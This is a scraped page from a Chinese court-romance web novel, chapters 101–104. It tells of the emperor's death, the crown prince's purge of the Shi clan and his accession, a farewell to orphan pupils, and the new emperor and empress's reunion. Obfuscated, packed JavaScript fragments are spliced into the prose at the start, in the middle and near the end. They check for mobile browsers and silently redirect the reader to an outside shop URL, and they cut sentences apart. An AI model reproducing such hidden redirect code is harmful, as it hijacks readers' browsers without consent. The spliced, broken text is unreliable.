l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295895|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “陆歆,你给朕住口!”曹启皇帝急声打断。 他很清楚太子折辱人的手段有多厉害,一想到他每日像条死狗一样被扒掉衣服让朝臣围观,他就忍不住颤抖,奈何身体瘫痪的他甚至连颤抖都做不到了。 可陆歆却仿若未闻,径自回,“陛下觉得太子妃非死不可,殿下觉得呢?” 曹壬听后,眼神依然波澜不惊,反而笑着看向皇帝,“父皇就这么迫不及待地想替儿臣换太子妃吗?这次想换谁?石氏吗?忘了告诉您,石贵嫔因为巫蛊诅咒父皇,刚刚被绞杀了。” 他说这话时,好像只是在和皇帝说,今天的雪很大,那样的稀松平常。 “你,你怎敢?她是朕的宫妃,你怎敢如此残暴?” “残暴吗?当年不是父皇逼儿臣破杀戒的吗?说到残暴,儿臣还有件事忘了告诉父皇,葛医仙已经回洛阳,可他不愿意进宫给父皇医治。” “为何?”曹启皇帝听闻,急切且带着希冀看着曹壬,有葛医仙,他肯定能痊愈。 “因为父皇的手太脏,他怕诊脉的时候脏了他的手,父皇这双手已经沾满曹氏子孙的血,比起残暴,我甚至都不及你万分之一。” 曹壬此言一出,夏侯湛和陆歆皆一脸震惊地睁大了眼看着皇帝。 “简直一派胡言,滚,你们都滚,朕不要你们在这里,庆平快让他们走”曹启皇帝因恼羞成怒,开始暴躁。 庆平听后,却只能“噗通”一声跪在地上,哭道“陛下恕老奴无能呀。” 曹壬继续慢条斯理地把玩着手腕上的太阳子佛珠手串,这手串带了这么多年,线已换过几根,唯有珠子越来越红艳,像极了相思豆。 如此动人的珠子,每每拨弄时,他便觉得阿萸就在身旁。 他的声音一如既往的平静无波,“父皇不要着急,您既已召陆侯和夏侯将军前来,那儿臣就替您把最后这层遮羞布给摘了吧?这样好让他们知道,他们效忠的君王,到底是人还是鬼。” 听完这话,皇帝的脸上此刻只剩恐惧,他重用陆氏和夏侯氏,自然也知道二人是什么习性,所以在二人面前的他,永远是他想让他们看到的那一面。 曹壬继续用那样平缓的语气,像讲故事一般将皇帝那些罄竹难书的恶行讲了出来。 杨皇后的皇子被封太子后,他怕杨氏会挟太子逼宫,所以开始宠爱石贵嫔,助长石贵嫔的野心后,眼睁睁看着石贵嫔迫害太子却无动于衷。 他的后宫一共有五个公主和四个皇子出生,却因宫妃内斗最后只留下长公主和惠安公主,而他却沾沾自喜地认为这是他的平衡术。 后来,清河王世子曹行被过继为太子,他又担心杨氏太子妃所生的孩子被立为皇太孙后,杨氏会逼宫,所以想办法一次次让前太子妃流产。 没人想到长辈会残害孙辈,杨氏排查了所有人,甚至为报复,连卢良娣的第二胎也害掉了,却怎么也想不到一切竟然是皇帝所为。 太子曹行善良敏感,当他发现真相时,感觉天都要塌了,哪怕他不喜欢杨氏太子妃,可孩子是他的,如何能不难过? 曹壬又说了皇帝收受贿赂的事,他贪得无厌,为收受贿赂,答应受贿的世家六品以下官职可以随意任命。 “父皇,曹行是因为发现父皇受贿之事,才会一病不起吧?你最终连着杀了两任太子呢。” 曹行太子因子嗣的事对皇帝恐惧不已,本就忧心忡忡寝食难安,待看到早已烂透的大魏朝廷,更是绝望无比。 就这样日日被忧惧折磨之后,他的生命留在了二十八岁这一年。 曹壬讲完一切,抬头看向曹启皇帝,眼中没有感情,却又好似带着些许悲悯。 曹启皇帝已经说不出话,不知是因为震怒还是恐惧,亦或是羞愤难耐。 而夏侯湛和陆歆从一开始的震惊到恐惧,到此刻只剩冷漠和愤恨。 他们耗费一生的青春去追随的帝王,曾以为他是一代明主,以为他可以带领他们开创理想中的盛世,可到头来,一切只是一场骗局。 “父皇,您用平衡术把所有人当棋子,逼得太傅郁郁而终,双手沾满鲜血,最后众叛亲离,儿臣只想问您,您开心过吗?” “帝王本就是孤家寡人,终有一日,你也会走到这一步”曹启皇帝用尽全力吼出了这一句。 曹壬听后,慢条斯理地起身整理了衣袖,然后居高临下地看着床上的皇帝,“我不会成为父皇这样的帝王,也不会用平衡术去折磨打压追随我的有志之士,更不会做孤家寡人,我会用毕生的精力去实现我的理想,我的天下,我的臣民应当是朝气蓬勃向上而生的,可惜,父皇看不到那一天了。” “你,你此话何意?”曹启皇帝急切追问之下,身体没能靠稳床头,突然从床上滚到地上。 头先着地的他以狗啃食的姿势趴在地上,头不断向前蠕动,他想靠这个动作将脸翻过来,可惜动了几次都没能成功。 庆平想爬过去扶起皇帝,却被夏侯湛手中的宝剑拦了下来。 不知过了多久,曹启皇帝的头停止了蠕动,夏侯湛这才把手中的宝剑收回,然后弯腰伸出手指去探皇帝的鼻息。 “殿下,皇上驾崩了”他收回手后,看着此时背对着皇帝的太子说。 殿门被打开,风雪再次涌入殿内,曹壬面朝殿门负手而立,衣袍被风吹得上下翻飞,他就像即将飞升的谪仙之人,站在那片飞雪中。 过了须臾,传来他平静的嗓音“准备国丧礼!” 102. 第一百零二章 新帝后 曹壬从女医署接到陆萸后,迅速将她送回了东宫,临行前,他再三叮嘱她最近都不可离开东宫,能出东宫门时,他会让陆弘来通知她。 陆萸刚刚经历了一场刺杀,如今给她十个胆都不敢随意出门了。 她忙不迭地点头,“我都听你的,你无需分心担忧我,一定要注意安全。” 曹壬知道接下来有一场硬仗要打,以后很长一段时间他都不能回东宫,不过他不敢把细节告诉陆萸。 除了怕她担心,思虑更多的是万一失败,他还可以替她准备一条退路。 “在这里安心等我回来”他心中有太多不舍,最后却能只化成这样一句。 陆萸虽不知他接下来打算做什么,但也能猜到肯定要去做一件非常凶险的事。 她帮不了他,也不能拖他的后腿,感受到他的不舍,她不顾还有八喜和青琼在场,踮起脚双手攀上他的脖颈,用力吻上他的唇。 曹壬愣了一瞬,随即伸手叩紧她的头,低头回应她的吻。 这个吻没有任何情,欲,有的只是对爱人的担忧和不舍,他们没有时间继续话别,因为还有太多艰难险阻等着他们。 一吻终,二人额头相抵,眼中皆是彼此,陆萸沉声道,“你想做什么就去做,我在这里等你回家。” 曹壬进宫了,而陆萸则一直坐在中室殿书房内看着石梅盆景发呆,案上的书摊开许久,她却一个字都没看进去。 虽然心中既担忧又焦虑,她却只能这样枯坐在这里,东宫还有这么多人守着她,她如今是他们的主心骨,不能帮曹壬做些什么,她就守好他的家。 石梅花枝丫上已经挂有几个花苞,再过几日,他回到家时,应该能看到这些花苞开放了。 一个时辰后,太极宫的丧钟敲响,曹启皇帝驾崩,举国同哀。 皇帝驾崩,洛阳都城的朝臣们一片平静,在他们轮流去显阳殿侍疾的时候,就已料到早晚有这么一天。 听到丧钟后,朝臣立即赶往太极殿参与朝会,按惯例,先帝驾崩,新帝要在此朝会安排国丧相关事宜,及国丧结束后新帝登基的准备工作。 冬日昼短,朝臣们赶到太极殿正殿时,天已微黑,正殿点燃了无数烛火,照得整个大殿亮堂堂的。 尚书令杨宪卸履上殿,比他早到的大臣们挨个向他行礼打招呼,看到多年未见的会稽侯陆歆也在场。 他的脚步一顿,颔首,“多年未见,陆侯风姿不减当年。” 陆歆回礼,“臣老了,倒是尚书令更胜当年。” 二人互相恭维着,有几名想找机会向杨宪拍马屁的朝臣围过来附和起来,陆歆惊奇地发现如今的朝堂竟如此和气,这和他当年在朝中时真是这天壤之别。 太子进殿,朝臣们停下闲聊,齐齐向太子行礼。 曹壬在龙椅上坐好后,看着殿中朝臣,声音带着疲惫,“父皇突然驾崩,不得已让众卿冒着风雪前来,众卿受累了。” 朝臣齐声回,“殿下折煞臣等,陛下驾崩,臣等哀痛不已。” 该客套的客套过后,曹壬也懒得和他们绕圈子了,而是直接说了此次大朝会的议题。 议题一,皇帝驾崩,由大鸿胪和太常卿负责国丧相关事宜的开展。 武帝曹操在魏王位时,提出薄葬,并出了《禁碑令》《终令》《遗令》,其中提出因高为基,不封不树,至文帝曹丕时,继续贯彻薄葬,提出丧葬不占用农田,丧事从简、薄敛,后曹魏所有帝王皆严格贯彻这一礼制至今。 所以曹壬提出薄葬时,朝臣无异议。 议题二,按礼,守丧期为三年,但国不可一日无君,故守丧期按帝王惯例,按二十七日计算,二十七日后,由司徒、太尉、尚书令、中书监、御史大夫共同负责登基礼。 此议题,朝臣亦无异议。 至此,朝臣以为可以离开太极殿回家休息,谁知,曹壬突然放大招了。 “现下,还得耽搁众卿一点时间,孤有三件重要的事要告知各位。” “不耽搁,殿下尽管说”王司徒忙回。 曹启皇帝驾崩,属王司徒最为开心,琅琊王氏和陈郡谢氏被皇帝打压得在朝堂上气都不敢喘一个,如今好了,太子的生母出自琅琊王氏,他已经能预见琅琊王氏的崛起了。 见他嘴角的笑都快压不住了,杨宪鄙夷地看了一眼后,开口“殿下有要事,还请明说。” “其一,石贵嫔行巫蛊之事诅咒父皇,石贵嫔及其党羽皆被父皇下令绞杀。” 太子这话一出,殿内突然安静下来,他们知道一个时辰前宫门被全部关闭,但都以为是因为皇帝驾崩,未免生乱才关宫门,如今看来石贵嫔一党已经被太子清理干净了。 朝臣们忍不住低声议论起来,一个没有后嗣的贵嫔,值得绞杀吗? “父皇下令时,禁卫军统领夏侯湛和会稽侯陆歆皆在场”曹壬接着道。 想要提出质疑的朝臣听到这话,默默地闭上了嘴。 “其二,执金吾石封,伙同北狄悍匪刺杀女医署内的将士遗孤,石氏一族属通敌之罪,一个时辰前已被打入天牢。” “其三,廷尉高成,在石氏一族罪证确凿的情况下,包庇石氏一族,不愿配合城防营查明真相,实属石氏同党,也已被打入天牢。” “鉴于此案件重大,其关键职位不可缺人,孤决定暂时任命太子舍人王源为执金吾,太子中庶子陆弘为廷尉。” 东宫两名属官皆为五品,如今一次性升至二品九卿之位,朝臣自然是要反对的。 只是今晚太子说的这几件事,一件比一件劲爆,他们都不知道该先讨论哪一件,朝堂上一时间“嗡嗡嗡”议论声不绝。 最先回过神的是王司徒,他前一刻还在为王氏即将崛起而暗暗开心,如今听说石封和高成皆被打入天牢,想起去年轰动一时的匪祸案,后背便阵阵发凉。 他白着脸问,“殿下如此草率地抓捕朝廷重臣,可有证据?” “对,通敌是大罪,殿下还请三思而定”有朝臣立马附和。 曹壬早就猜到他们会有此一问,此刻他的脸上看不出表情,语气却非常清冷,“卢太尉,你替孤解释一二。” 大魏建朝初期,执金吾位同九卿,负责宫外戒司、京师治安,并负责管理武库,防止出现水火之事?。 可到曹启皇帝继位后,为免执金吾做大,他建了禁卫军分走了执金吾的兵马,后又担心二人联手,他建了城防营,而卢太尉就是分管城防营官员。 如今的执金吾只负责武库和兵械,而京师治安则由城防营负责。 卢太尉出列解释,今日城防营的几名小将刚好去女医署教授孩子们马术,亲眼目睹了悍匪围攻女医署。 今日下大雪,出门的人不多,但东市发生了那么激烈的战斗,朝臣们也是有耳目的,只是还未来得及打听其间细节。 卢太尉上朝前已经得城防营小将们回报的信息,于是他在朝堂上把这场激战的始末详细讲解给朝臣们听。 “你如何证明那些人是北狄悍匪?”尚书令杨宪问。 “女医署皆是一些手无寸铁的孤儿,他们冒着大风雪,派那么多人去围攻女医署,难道不是为了斩草除根吗?”卢太尉反问。 “且,那些悍匪还有活口,他们皆是石氏的府兵” 杨宪觉得这事透着说不清的怪异,都快过年了,石封吃撑了才会去刺杀将士遗孤,但这些人是石氏的府兵,他就洗脱不了嫌疑。 “哦,忘了告诉大家,悍匪的头目竟然是皇后殿中的苏嬷嬷”卢太尉接着说。 此话一出,一石惊起千层浪,朝臣们看杨宪的目光瞬间变得古怪起来。 “你胡说,皇后宫中的嬷嬷怎会有能力调动石氏府兵?”杨宪厉声骂道。 卢太尉“哼”了一声后,连正眼都懒得看他,“是真是假,你自去宫中问皇后即可。” 牵扯到皇后,杨宪想要替石封辩解一二却是不能了,他此时心乱如麻,一时不知这事为何越来越扑朔迷离。 “尚书令稍安勿躁,苏嬷嬷自称替母后邀约太子妃赏雪,此刁奴信口雌黄,已被抓捕归案,孤记得母后待太子妃素来亲厚,想必是刁奴背主在先。 曹壬出言安抚,让杨宪乱麻麻的心稍微平复一些,他忙回,“殿下所言极是,娘娘待太子妃向来亲厚,定是刁奴背主。” 牵扯到太子妃,王司徒又觉得有了一线生机,他忙道,“苏嬷嬷说的,如果是真的呢?” 他一句话,顿时迎来了三个人的眼刀子,杨宪、卢太尉、谢洐,他们看他就跟看个白痴一样。 谢洐,“太子妃体弱多病,冬日从不出门,若非被你们这些不要脸的朝臣怂恿陛下把女医署的事压给她,她犯得着冒大雪出门吗?” “如今你和我说苏嬷嬷带五百名悍匪去女医署,是为邀太子妃进宫赏雪,你当皇后和太子妃如你一般满脑袋都是浆糊吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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朝堂上顿时一片慌乱,曹壬却一如既往的平静,待王司徒被带出大殿,他一双眼如古井一般看着众人,“事态紧急,若众卿想过个好年,这案子必须得尽快查明,孤任命二位九卿,众卿可有异议?” “臣等无异议”众朝臣齐齐出声,他们此时不敢有异议了。 杨宪认命地闭上了眼,今日发生的这些事,每一件都超出他的意料,他还未想好如何布局应对,就已被太子抢了先机。 如今看来,石封暂时是救不出来了,他还得祈求陆弘查不到什么牵连到杨氏的证据才是。 太子以雷霆手段,在一个时辰内将两名九卿及家人打入大牢,这样的效率和速度给朝臣们打个措手不及。 而接下来到抄家的环节,才真正让他们见识了太子殿下治下的手段有多厉害。 以往抄家,多的是人趁浑水摸鱼,下手也没个轻重,查抄过后的府宅皆是一片混乱不堪。 而陆弘带人去查抄石氏和高氏的府邸后,这些府邸竟然干净得像刚刚大扫除似的。 那些人动作麻利,但忙而不乱,每一样东西都详细登记在册,易碎品还细细打包,甚至连书房里用剩下的半瓶墨汁都要仔细装箱。 石氏是大魏的巨富,查抄石氏府邸时,在廷尉署的人昼夜换班查抄的情况下,竟然花了整整半个月,而登记抄没所得的册子竟然高达上千页之多。 陆萸是在廷尉署查抄完石氏和高氏的府邸后,才进宫为大行皇帝守灵的。 按礼制,太子妃应在皇后的带领下,与宗亲女眷及先帝宫妃一起为皇帝守灵,不过太子妃在遭遇那场刺杀后,惊吓过度一直昏迷不醒,所以也没人真的来催她进宫。 如今眼看守丧期只剩几日,她不得不化个病妆出席国丧礼。 这些日子,各处的封疆大吏和藩王皆陆续赶到洛阳,他们要在参加先帝的葬礼后,继续参加新帝的登基礼,之后才会回去。 陆萸边举着帕子假哭,边偷看藩王们,这些藩王中属清河王哭得最情真意切,他连哭数日,眼睛已经肿得跟核桃似的。 想到前太子的死因,再看到这样的清河王,陆萸只觉得唏嘘。 曹启皇帝算不算明君一时难以评说,但他确实是一个出色的演员,都说完美的政治家都是演帝,如今看来不假。 二十七天守丧期结束,太子携众朝臣为皇帝送葬。 国丧礼结束,新帝登基。 新帝登基大典结束,新帝曹壬正式册封谢氏太子妃为中宫皇后,赐凤印执掌中宫。 至此,安和十六年终于走完,迎来了元旦,新帝正式改年号为兴安元年。 103. 第一百零三章 新年 按惯例各大世家年底会举办年宴邀请亲朋故旧吃吃喝喝庆祝年关,今年遇上皇帝驾崩,就只能把宴会推到年后直接贺新。 世家之间关系错综复杂,石氏和高氏入狱,与他们有姻亲的世家也过不好这个年,他们不是在担心被牵连,就是在暗暗地想办法找关系捞人。 关于那天的刺杀以及对石氏和高氏的处理方式,曹壬后来和陆萸解释了其中细节。 其实石封通敌叛国的直接证据东宫暂时还没找到,但他们已经查到石封贩卖军械给北狄的蛛丝马迹。 所以他先不断刺激曹启皇帝,因为皇帝被逼急后,肯定会让石贵嫔联系石封或者夏侯湛行动,一旦石封行动了,东宫就有办法把他往通敌这条罪名上引。 只要有理由拿下石氏,迅速把廷尉和武库紧紧抓在东宫手里,他们就有办法从往来账目中找到证据,所以他们一直在等一个时机。 只是这个时机竟然来得这么快,他们也没想到皇帝会丧心病狂到要让石封掳走太子妃。 哪怕早就有所准备,那天听到她遇刺时,他依然紧张不已。 那一刻他只后悔没有早点找机会处理石氏,还好,她被救下来了。 石氏的五百府兵全军覆没,正好是东宫迅速反击石氏的时机,他们才能在一个时辰内连续端了石氏和高氏,比起石氏,抓捕高氏甚至都不费吹灰之力。 陆萸猜想曹启皇帝是预感自己活不久了,所以想干一件疯狂的事。 让陆歆杀了太子妃,既可以让太子往孤家寡人的路上走,又可以让陆氏和谢氏交恶。 他肯定是看到谢氏突然开了那么多家星火书店后,变态心理出来作祟,又想到了他所谓平衡术,所以这个计谋真所谓歹毒至极。 他恶毒之处还在于,他既想掳走太子妃,又不忘坑一把皇后,这样就算失败了,也可以膈应一下杨氏。 曹启皇帝习惯把所有人当棋子,也下了一辈子的棋,肯定能猜到太子留有后手,他如今也算是临终前给太子送了一份大礼。 他布的这场局,成与不成,最终都会让石氏暴露,陆萸想不通石氏为何会听一个将死之人的命令。 “他和石封说我已经查到匪祸案的真相,石氏只有先下手为强,才能吓住我”曹壬答。 “他为何非要吓唬你呢?难道不怕你反击?”陆萸对石氏这样总想靠杀人吓唬太子的行为实在无法理解。 “因为前太子就是被他吓唬后病死的”曹壬答。 顿了一下,他接着道,“或许,他还承诺石氏,只要把我吓病了,杨氏就会拥护东海王世子为新太子。” 这个才是关键,若有杨氏和东海王世子,曹壬这个太子就可以算是废棋。 比起身后有杨氏的东海王世子,曹壬简直是一点根基都没有,在世家看来,曹壬唯一能仰仗依赖的只有曹启皇帝。 但在朝臣轮流侍疾后,大家也猜到皇帝心里肯定恨透了太子,所以曹启皇帝只要稍微露出一点想要废太子的想法,狂妄自大的石氏就想趁机搏一搏。 陆萸总结了一下,曹启皇帝是不是明君不好说,但他是个很会抓住机会下棋的棋手。 临死前,把贿赂他,并他在太子面前失去信誉的石氏拉下水,或许才是这场局的最终目的,至少以后不会再有第二个石氏贿赂下一任帝王了。 各类大典结束,转眼已是除夕。 年底又有一些孤儿被陆续送来女医署,经过那天的刺杀后,已经有人开始关注男童学马术这事。 要看男童数量已经突破一千二百多人,陆萸和曹壬合计一番后,打算把男童转移去其他地方。 今年朝廷出资建设的三所星火书院已经全部建成并装修好,老师也已经配齐,只待明年三月初一接收第一批学员。 鉴于此,陆萸打算把年满五岁及以上的男童分去三个书院,这样女医署就不会太扎眼。 目前符合这年龄的男童共九百六十九人,刚好一个书院可以分到三百多人,把男童分散在三个书院,也就不会引起太多人的关注。 这个方案是半个月以前就已经敲定的,她已经让女医署的教学管理人员提前通知了孩子们,听说能去正规书院上学,孩子们没有不乐意的。 今日遇到除夕,女医署不上课,陆萸起个大早去给他们上了一节公共课。 男童的公共课上完后,她还准备了一个离别宴,毕竟过完年大家就要去不同的书院,以后能否再见还是未知。 这些孩子来自不同的地方,在女医署住一段时间后,与小伙伴们也有了感情,虽然很高兴能去书院上学,但面临分别,他们还是忍不住伤心落泪起来。 曹壬下朝后来女医署接陆萸时,她正在为孩子们弹奏琵琶曲。 都言琵琶是马背上的乐器,曲子肃杀太重,可她弹奏的曲子常常都是如泣如诉,悠扬的曲调背后像有说不完的故事和道不尽的离别。 他没让人通报,就这样静静地站在教室门口听她弹奏了整首曲子。 今日的天气出奇的好,太阳慢慢升起,光亮透过窗子大片大片照进教室,而高处的光则直接投射在了讲台的位置。 陆萸就坐在那片光影中,专心致志地为孩子们弹奏,一首曲她重复弹了三遍。 曲终,她停下手指,抬头看着台下的孩子们,“这首曲子名《故梦》我练了很久,只为今日送别,不知你们是否喜欢?” 孩子们还沉浸在乐曲中,如今回过神来,齐声激动地喊“我们很喜欢,谢谢娘娘。” 将琵琶交给青琼后,陆萸缓缓开口,“我们的一生会面临无数离别,所以要珍惜每一次的相处时光,我希望你们入星火书院后,永远铭记书院的院训,为理想而奋斗。” “离别其实并不可怕,离别是为了下次能更好的相遇,我祝愿您们前程似锦,也期盼多年后,能与各位在太极殿相逢。” 陆萸这样的祝福顿时让在坐的孩子们热血沸腾,在太极殿相逢意味着他们至少是七品以上的官员,没有什么言语是如此的振奋人心,大教室瞬间响起雷鸣般的掌声。 掌声过后,有一个大胆的男童起身问,“在娘娘的记忆中,有没有一场最难忘的别离?” 陆萸经常给孩子们上公共课,大家如今也不怎么怕她了,反而还会主动提问。 有一个男孩也附和,“与娘娘别离的人,后来再次相遇了吗?” 陆萸听后,目光虚视远方回忆片刻后,才回,“我最难忘的一场别离是有位少年在海棠花下为我弹了一曲琴曲,后来,我们在最好的时光里再次相遇了。” 那个男孩又问,“海棠花下弹琴的少年是当今陛下吗?” 孩子们在没有来洛阳的时候,根本不敢想有一天能见到太子和太子妃,毕竟这样的人物离他们太遥远。 后来他们到了这里,不但见到了二人,还渐渐地听说了一些关于太子妃爱慕太子的传言,所以在他们看来能被太子妃记住的肯定是太子。 陆萸听后,忍不住轻笑,“这都能被你猜中,果真是聪明的孩子,以后记得把这聪明劲用在学习上。” “娘娘,陛下弹的琴曲动听吗”有一个男孩一脸好奇地问。 “陛下的琴曲是我此生听过最动听的,没有之一”陆萸毫不犹豫地回。 那得是有多动听呀,毕竟以娘娘这样的身份怎样的琴曲听不到?她能觉得是最动听的,想必是真的有如天籁之音吧? 又有个男孩想起身问问题,一声轻咳声打断了课堂的氛围。 孩子们这才看到了站在门口的曹壬,顿时吓得立即端正身子坐好,背后议论别人是不对的,如今还被当事人发现,真是既羞又怕。 “陛下来得正是时候,孩子们正好奇你的琴曲呢”陆萸笑看着曹壬。 皇后娘娘笑得开心,孩子们却静悄悄的一动都不敢动,生怕被皇帝提起来考学问。 曹壬之前抽查过几个男童的学问,当时那些孩子一问三不知,那真是既急又羞的记忆,让他们一辈子都忘不了。 “朕今日是来送别的,所以不考各位学问,皇后刚刚提到了琴曲,那朕今日就为大家弹一曲,也祝各位前程似锦,期待太极殿再相逢。” 女医署自正式成立以来,除了文化课体能课等这些常规课,也会偶尔开设音乐课,男童这边有竖笛和古琴两种,主要是让他们欣赏乐曲培养乐感。 八喜很快就找来了一把授课老师用的古琴。 能在同一天内听到帝后弹奏乐曲,这也许能成为这些孩子这辈子最难忘的离别,他们一个个神采奕奕聚精会神地等着曹壬抚琴。 而曹壬也没让他们失望,在他修长的手指轻轻拨弄之下,瞬间响起了如诗如画的韵律,一曲《初雪》把孩子们带到了空灵的意境中,让他们看到了世间万物的美好。 他们听过授课老师抚琴,那时候觉得那是此生听过最美的曲子,如今听陛下一曲,才知皇后娘娘为何会有那般感叹,此曲只应天上有,大概就是如此吧? 孩子们在听过陛下的琴曲后,甚至都想不起来要鼓掌,一直沉浸其中呆呆地坐在位置上,连帝后何时离开都没发现。 曹壬的登基礼刚过,太极宫还在修缮中,所以帝后二人如今还住在东宫。 比起太极宫,陆萸其实更喜欢东宫,这里是二人大婚后住进来的地方,更有家的感觉,若非礼制,她真不想住进太极宫。 从女医署回来后,二人换了常服,一起窝在行云殿的书房里,难得的休闲时光,曹壬没有看奏章,陆萸也没有看书。 自那次刺杀后,二人已经很久没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335813|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有机会如今日这样一起聊天了。 此时书房里烧着炭盆,整个房间都暖洋洋的,陆萸像只猫一样依偎在曹壬怀中,絮絮叨叨地诉说着上次别后种种,而曹壬则安静地听着,一如当年。 “那盆石梅,前阵一共开了十三朵花,我一直数着你回来的日子,担心你回来时只剩枝丫,还好,你赶上了最后几朵,这花你觉得好看吗?” “好看”曹壬回。 “这些日子,我一直在想怎样才能把抄家所得卖得最好的价钱,方案我已经想好,等过完年,我整理好后给你看。” “好。” “阿娘带着阿弟来看过我,那孩子如今看起来比以前活泼了,承恩侯最近没有在朝堂上作妖了吧?” “他不敢。” “今日想起当年那场离别,才突然惊觉时间过得如此快,你还记得那天的海棠花吗?” “记得。” “君期,” “嗯?” “我想你了,一如当年和你别离后”陆萸说完,仰起头看着他。 那日他离开东宫后,她每日每夜都在想,若二人再次相逢,她一定要把这话告诉他,他如今不是僧人,她可以毫无顾忌地说出自己的想法。 听到她突然告白,他忍不住收紧了揽住她的手,然后低头去看她,只见她双眸中似有星光,而那晶莹剔透中全是他的身影。 “我也一样,很想很想”他双眸缱绻又专注地看着她回。 陆萸伸手去攀他的肩膀,然后在他耳畔低声道,“今晚把玉兰片汤喝了吧?”说完,她迅速把羞红的脸埋在他的胸膛。 见她这副怂样,曹壬忍不住笑出声来。 他笑的时候胸口起伏,胸腔轻轻震动,让陆萸连耳根都红透了。 “不许笑我”她用手拧了一把他腰上的肉。 她的动作其实和挠痒痒一样,这让曹壬的笑声更大了。 书房外的八喜和青琼第一次听到陛下笑得如此开怀,二人相视一笑,看来今夜有好事将要发生。 曹壬确实笑得开怀,其实今日就算她不提,他也想征求一下她的意见。 曹启皇帝已逝,再也不会有人盯着他们圆房这事,她竟然主动提起,当真是意外之喜。 他笑着用力将她抱起。 陆萸一声惊呼,也顾不得害羞,忙把脸探出来看着他,“你要做什么?” “想要炖汤的话,得先剥竹笋”曹壬边抱着她往外走,边一本正经地答。 见外面天还亮着,陆萸忙抓紧他胸前的衣襟,“太早了,再等等。” “不早了,我都等了一年多了。” 好吧,陆萸瞬间无语,只能再次把头埋进他胸前,既然他不要脸,那她也无所谓了。 八喜和青琼一见二人从书房出来,就喜滋滋跟着他们去行云殿的寝室清场去了,他们如今比帝后大婚那天还开心。 笋衣片片剥落,曹壬嘴上虽然说着已经等不及天黑,但实际上还是一如以往的有耐心,文火炖汤就是如此。 哪怕已经习惯了他剥竹笋的手段,陆萸还是忍不住一次次迷失在这样的柔情蜜意中。 一开始她还能断断续续地喊着“君期”,到后来就只剩支离破碎地娇,吟声了。 “阿萸,我克制过了,只是这次真忍不住了”他低哑的嗓音在她耳畔说着,然后双唇吻去了她眼角的泪。 而回应他的只有她一声又一声的低吟,她已经像一搜行驶进汪洋的小舟,只能在这场激情的风浪中起起伏伏。 这一夜,一共掀起了几次风浪陆萸不记得了,只记得后来在层层叠叠的浪花里,她连声音都发不出来了。 翌日清晨,陆萸醒来的时候,曹壬已经上朝去了。 大魏和后来的朝代不一样,没有年关封笔的惯例,所以大年初一这天,天子还要和朝臣一起上个大朝会,然后一起放鞭炮庆祝新年伊始。 鞭炮放完后,有紧急的事就接着开朝会,没有,就各自回家,庆祝新年。 陆萸坐起身喊了一声青琼,才发现嗓子哑了。 低头看了看身上穿戴整齐的寝衣,她想起昨夜本来是他抱着她去沐浴,后来不知怎么又在水中胡闹起来。 闹到后来,她在浴桶中睡着了,是他抱着她回来换的寝衣。 “娘娘需要梳洗了吗?”青琼忙上前询问。 “我想先喝水。” 得令后,玉瑶立马端来了蜂蜜水,然后道:“这是陛下吩咐奴婢准备的,陛下还让我们给娘娘准备了红枣银耳羹,说补气血还对嗓子好。” 昨夜这二人换床单的时候肯定都看到了,唉,老脸都已经丢完了,如今就无所谓了。 陆萸也不再扭捏,接过蜂蜜水喝过后,忍着不适起身更衣梳洗。 104. 第一百零四章 因果 曹壬下朝回来的时候,陆萸正坐在食案前用红枣银耳羹。 见到他,她放下手中小勺,笑问:“要一起用点吗?不过不如你煮的。” 在她对面坐定后,曹壬抢过碗和小勺直接尝了起来,尝过后,竟然也没有还回去。 在陆萸讶然的目光中,他点点头“手艺确实不如我。” “我吃过的,你作何要抢去吃?东宫还能缺你吃的不成?” 一旁的玉瑶立即笑着给陆萸重新装了一碗,“娘娘请慢用,罐子里还有很多。” 陆萸边搅动勺子,边抱怨,“都这么大了,还跟个孩子似的,怎么能抢吃食呢?” 曹壬却是仿若未闻,三两下把碗里的吃干净后,笑回,“你吃过的味道就是不一样。” 这下轮到陆萸脸红了,她低下头小勺一下一下搅动着里面的红枣,低声嗔怪,“尽说些假话。” 见她这样,曹壬想起王源和他传授的经验,他说女郎有时候很喜欢口是心非,明明很喜欢听一些孟浪之言,却因为羞涩而假装不高兴。 他倾身靠近她,然后用手轻轻摸了摸她粉如桃花的面颊,用仅二人可听的声音回,“我从来不骗阿萸,是真的很甜。” 他说这话时,一双眼装满的深情仿佛能溺死人,“我当年也抢过你的吃食不是吗?” “那哪能一样?”陆萸听了,立时睁着大眼睛瞪着他,那时候她是一心想开解孤独症少年才买吃的给他。 这样的她,让他再次想起当年的小青团,他忍不住伸手捧住她的脸,莞尔一笑回,“一样的,我还是那个少年,你也还是那个小青团。” 他的笑如海棠花一样绽放,让今日阴沉的天瞬间增添了一抹亮色。 在陆萸发怔的瞬间,他接着开口,“是药三分毒,你以后不要喝避子药,我会继续克制的。” 他说完话,手指轻轻摩挲她唇角的梨涡,指下是细腻柔软触感,这对梨涡一如以往的让他沉迷。 话题转的太快,陆萸愣了一瞬,才回,“与女医署的孩子们相处后,我其实已经不怕怀孕了。” “可我怕,比起孩子,我更想你能长长久久在我身旁”曹壬答。 陆萸伸手把他的手从脸上拿开,然后握紧,“君期,子女和父母其实也是一场缘分,我们不用害怕的。” “我前世未能得父母的爱,故而害怕自己做不好母亲,可若真怀了我们的孩子,我又想好好抚养这个孩子,以弥补我儿时留下的遗憾。” 前世常听那些同事感叹养育孩子的过程其实也是在重新回忆自己的童年,顺便弥补那些儿时留下的遗憾。 